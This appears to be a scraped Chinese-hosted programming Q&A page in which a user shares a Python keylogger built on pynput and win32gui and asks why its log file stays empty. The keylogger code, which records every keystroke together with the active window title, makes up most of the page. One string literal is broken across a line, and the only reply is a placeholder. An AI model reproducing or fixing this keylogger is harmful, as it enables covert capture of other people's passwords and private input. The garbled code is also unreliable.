Welcome to OGeek Q&A Community for programmer and developer-Open, Learning and Share
Welcome To Ask or Share your Answers For Others

Categories

0 votes
159 views
in Technique[技术] by (71.8m points)

python - Keylogger is not logging the characters in the txt document

The key logger i made in python is not logging the characters in the text file i specified. It just leaves it blank whenever I open it after the program . Here is the code:

import win32gui
from datetime import date
from pynput.keyboard import Listener, Key


filename = "key_log.txt"  # The file to write characters to
file = open(filename, 'a')
file.write(str(date.today()))
file.close()
    
def on_press(key):
    window = win32gui.GetForegroundWindow()    
    active_win = win32gui.GetWindowText(window)    
    f = open(filename, 'a')  # Open the file        
    f.write('
'+active_win)

    if hasattr(key, 'char'):  # Write the character pressed if available
        f.write(''+key.char)
    else:  # If anything else was pressed, write [<key_name>]
        f.write('[' + key.name + ']')

    f.close()  # Close the file

    
with Listener(on_press=on_press) as listener:  # Setup the listener
    listener.join()  # Join the thread to the main thread

与恶龙缠斗过久,自身亦成为恶龙;凝视深渊过久,深渊将回以凝视…
Welcome To Ask or Share your Answers For Others

1 Reply

0 votes
by (71.8m points)
等待大神答复

与恶龙缠斗过久,自身亦成为恶龙;凝视深渊过久,深渊将回以凝视…
OGeek|极客中国-欢迎来到极客的世界,一个免费开放的程序员编程交流平台!开放,进步,分享!让技术改变生活,让极客改变未来! Welcome to OGeek Q&A Community for programmer and developer-Open, Learning and Share
Click Here to Ask a Question

...